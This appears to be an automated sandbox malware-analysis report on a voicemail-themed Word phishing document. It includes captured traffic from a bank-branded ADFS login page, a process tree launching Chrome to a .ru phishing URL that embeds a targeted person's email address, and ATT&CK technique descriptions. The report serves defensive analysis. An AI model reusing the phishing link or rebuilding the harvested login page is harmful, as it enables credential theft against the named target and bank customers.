2025-01-10 18:06:29 UTC	4150	IN	Data Raw: 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 31 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f Data Ascii: <!DOCTYPE html><html lang="en-US"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=1"/> <meta http-equiv="content-type" co
2025-01-10 18:06:29 UTC	1558	IN	Data Raw: 22 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 49 6e 70 75 74 55 74 69 6c 2e 73 68 6f 77 48 69 6e 74 28 6e 6f 64 65 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 7d 3b 0d 0a 49 6e 70 75 74 55 74 69 6c 2e 66 6f 63 75 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 70 75 74 46 69 65 6c 64 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6e 6f 64 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 69 6e 70 75 74 46 69 65 6c 64 29 3b 0d 0a 20 20 20 20 69 66 20 28 6e 6f 64 65 29 20 6e 6f 64 65 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 3b 0d 0a 49 6e 70 75 74 55 74 69 6c 2e 68 61 73 43 6c 61 73 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6e 6f 64 65 2c 20 63 6c 73 4e Data Ascii: ""); InputUtil.showHint(node); } } }};InputUtil.focus = function (inputField) { var node = document.getElementById(inputField); if (node) node.focus();};InputUtil.hasClass = function(node, clsN
2025-01-10 18:06:29 UTC	7159	IN	Data Raw: 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 61 64 66 73 2f 70 6f 72 74 61 6c 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 69 64 3d 39 32 46 46 41 45 41 38 43 38 32 46 43 42 44 46 32 32 33 31 31 43 36 34 39 41 44 43 33 37 32 30 33 44 38 46 44 37 38 38 46 37 43 32 38 46 32 34 38 35 31 37 42 41 30 42 30 45 35 35 46 41 42 45 22 20 2f 3e 3c 73 74 79 6c 65 3e 2e 69 6c 6c 75 73 74 72 61 74 69 6f 6e 43 6c 61 73 73 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 61 64 66 73 2f 70 6f 72 74 61 6c 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2e 70 6e 67 3f 69 64 3d 31 38 33 31 32 38 41 33 43 39 34 31 45 44 45 33 44 39 31 39 39 46 41 33 37 44 36 41 41 39 30 45 Data Ascii: lesheet" type="text/css" href="/adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.png?id=183128A3C941EDE3D9199FA37D6AA90E
2025-01-10 18:06:29 UTC	1883	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 32 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 32 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 34 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 34 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 34 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 Data Ascii: position: relative; width: 125px; height: 125px; margin: auto; transform: scale(0.4); -o-transform: scale(0.4); -ms-transform: scale(0.4); -webkit-tra
2025-01-10 18:06:29 UTC	1374	IN	Data Raw: 20 20 20 20 20 20 20 6c 65 66 74 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 36 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 36 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 36 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 36 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 30 2e 36 73 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a Data Ascii: left: 15px; top: 15px; animation-delay: 0.6s; -o-animation-delay: 0.6s; -ms-animation-delay: 0.6s; -webkit-animation-delay: 0.6s; -moz-animation-delay: 0.6s; }
2025-01-10 18:06:29 UTC	5840	IN	Data Raw: 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 32 73 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 66 72 6f 74 61 74 65 47 5f 30 37 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 35 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 33 35 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 33 35 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 31 2e 33 35 73 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 Data Ascii: animation-delay: 1.2s; } #frotateG_07 { left: 51px; bottom: 0; animation-delay: 1.35s; -o-animation-delay: 1.35s; -ms-animation-delay: 1.35s; -webkit-animati
2025-01-10 18:06:29 UTC	7300	IN	Data Raw: 72 57 69 64 74 68 20 26 26 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 6f 75 74 65 72 57 69 64 74 68 29 20 7b 0a 20 20 20 20 76 61 72 20 76 69 65 77 70 6f 72 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6d 65 74 61 5b 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 5d 22 29 3b 0a 20 20 20 20 76 69 65 77 70 6f 72 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 20 27 77 69 64 74 68 3d 27 20 2b 20 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 20 2b 20 27 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 31 27 29 3b 0a 7d 0a 0a 2f 2f 20 47 65 74 73 20 74 68 65 20 63 75 72 72 65 6e 74 20 73 74 79 6c Data Ascii: rWidth && window.innerWidth !== window.outerWidth) { var viewport = document.querySelector("meta[name=viewport]"); viewport.setAttribute('content', 'width=' + window.innerWidth + ', initial-scale=1.0, user-scalable=1');}// Gets the current styl
2025-01-10 18:06:29 UTC	6432	IN	Data Raw: 75 65 73 74 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 5f 72 65 71 75 65 73 74 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 20 3d 3d 20 34 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 69 73 49 6e 74 65 72 6e 61 6c 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 73 75 62 6d 69 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 73 75 62 6d 69 74 42 75 74 74 6f 6e 22 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6b 6d 73 69 41 72 65 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 Data Ascii: uest = new XMLHttpRequest(); _request.onreadystatechange = function () { if (this.readyState == 4) { let isInternal = false; const submit = document.getElementById("submitButton") const kmsiArea = document.g
2025-01-10 18:06:29 UTC	4380	IN	Data Raw: 70 6c 69 74 28 27 2c 27 29 3b 0a 20 20 20 20 76 61 72 20 64 72 6f 70 64 6f 77 6e 49 74 65 6d 73 20 3d 20 22 22 3b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 2c 20 6c 65 6e 20 3d 20 64 6f 6d 61 69 6e 41 72 72 61 79 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 65 6c 65 63 74 65 64 49 74 65 6d 20 3d 20 22 22 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 6d 61 69 6e 41 72 72 61 79 5b 69 5d 20 3d 3d 20 64 65 66 61 75 6c 74 44 6f 6d 61 69 6e 5b 65 6e 76 69 72 6f 6e 6d 65 6e 74 5d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 65 64 49 74 65 6d 20 3d 20 22 73 65 6c 65 63 74 65 64 22 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 64 72 6f 70 64 6f Data Ascii: plit(','); var dropdownItems = ""; for (var i = 0, len = domainArray.length; i < len; i++) { var selectedItem = ""; if (domainArray[i] == defaultDomain[environment]) { selectedItem = "selected"; } dropdo
2025-01-10 18:06:29 UTC	3560	IN	Data Raw: 68 69 73 20 6f 70 74 69 6f 6e 20 69 66 20 79 6f 75 20 61 72 65 20 61 20 42 61 6e 6b 65 72 20 69 6e 20 61 20 62 72 61 6e 63 68 20 61 6e 64 20 75 73 69 6e 67 20 61 20 42 61 6e 6b 65 72 e2 80 99 73 20 74 61 62 6c 65 74 5c 22 20 63 6c 61 73 73 3d 5c 22 6c 61 72 67 65 54 65 78 74 20 69 6e 64 65 6e 74 4e 6f 6e 43 6f 6c 6c 61 70 73 69 62 6c 65 5c 22 3e 22 20 2b 20 22 42 72 61 6e 63 68 20 4d 6f 62 69 6c 65 22 20 2b 20 22 3c 2f 64 69 76 3e 22 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 6c 69 73 74 41 6c 6c 53 70 61 6e 46 6f 72 49 64 70 5b 69 6e 63 5d 2e 74 65 78 74 43 6f 6e 74 65 6e 74 20 3d 3d 20 22 4c 6f 63 61 6c 20 49 6e 63 6f 72 70 6f 72 61 74 65 64 20 42 61 6e 6b 69 6e 67 20 2d 20 4c 49 42 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: his option if you are a Banker in a branch and using a Bankers tablet\" class=\"largeText indentNonCollapsible\">" + "Branch Mobile" + "</div>"; } else if (listAllSpanForIdp[inc].textContent == "Local Incorporated Banking - LIB") {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49821	170.148.209.228	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:06:29 UTC	1960	OUT	GET /adfs/fs/federationserverservice.asmx HTTP/1.1 Host: idag2.jpmorganchase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://idag2.jpmorganchase.com/adfs/ls/?client-request-id=40788389-dfd1-4598-97a4-ef647d16039a&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=LoginOptions%3D3%26estsredirect%3d2%26estsrequest%3drQQIARAAhZI9jNt0AMXj5C53FxUaFajKUt3QAQFx_Lcdf5xU6Xz59Dl_Bye2E3uJEn_EdvyRc-x8WOqEkICpEhJFtyAhppsQAoRgYT4xlKlSl1aMHWjF1JGjzBXL03t6b3u_0h6N1lCAYu8XcBQ7ukPSVI0ka9MKgRtUhWSnWIUhLKoCTJa4qnCaMibxjVL5s483x388-ar54Nvn5r2bhfML5NBJksXyqFpdr9doZNuuYaFGFFT9SWi64WyF_4wgDxHkPL9rhRVlcJFfUgRD4wBnAUbRgGWvAgpxCLShHsA2n-hey4Uuhmmyse7KzlyTZ4noaSRsiB5sKAAGza3ehgBmCi56SgLlk0DcYlhvyNe6sj8XPS7RMt3VAomEuOqIGU8-zl_vcWni4P9KFLuZ9Xf-wI7iYLyIlsl54ct8C2x1aaT0tik56RL-mbuAdV43T0wDjtoExCrerE-5NXHSWVnJynE5fn7WUVpzNUsiuJHkWKCD00Hak_qDodOzVlzrdM0sjK2gClwmGh4z9mDfnILKhLQbUzgzUpW164nUlXk2qZnhWsc1k9JIYeY4HjluKhNX60AW95m-uiQcX4lBrTkltkDmlUxtUsxa4K02UHwohLVIZqJ5aqjZ2UQmuyORTGpBLz0dQTKsY6rgmpEUjHpKN6brdVdfsmxjOpgTHFDT7bCx9vnZdLrBSNEZgb46EuKVOCXMkN4MpYvCu6-5d4V_XyhemSAKLwt0tLBC1zxcxJHt-tbrkFjh1d6r1IkCC-V8_8_CO17khKgZWcfeIjCcyfLV8uEO8mzn5 [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ppnet_4651=!yv4xKxtxhjonGVaSYQ1AryCmFyCHSW/4gu0WW2TD/P0bosaYbG9f3JDLE9fXmj/Ej9OEf2vCAJx0LJY=
2025-01-10 18:06:30 UTC	198	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Date: Fri, 10 Jan 2025 18:06:30 GMT X-Cnection: close Content-Length: 326 Vary: Accept-Encoding Connection: close
2025-01-10 18:06:30 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><

Target ID:	1
Start time:	13:04:39
Start date:	10/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Desktop\Voicemail_+Transcription+_ATT006151.docx" /o ""
Imagebase:	0x7b0000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	13:04:44
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://pllu.gnoqwwhpwe.ru/3aeK/#Aandres.gonzalez@lcatterton.com
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:04:45
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1968,i,1827045046514926653,16551439245493585033,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Voicemail_+Transcription+_ATT006151.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\msoDBF3.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Desktop\~$icemail_+Transcription+_ATT006151.docx

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Windows Analysis Report
Voicemail_+Transcription+_ATT006151.docx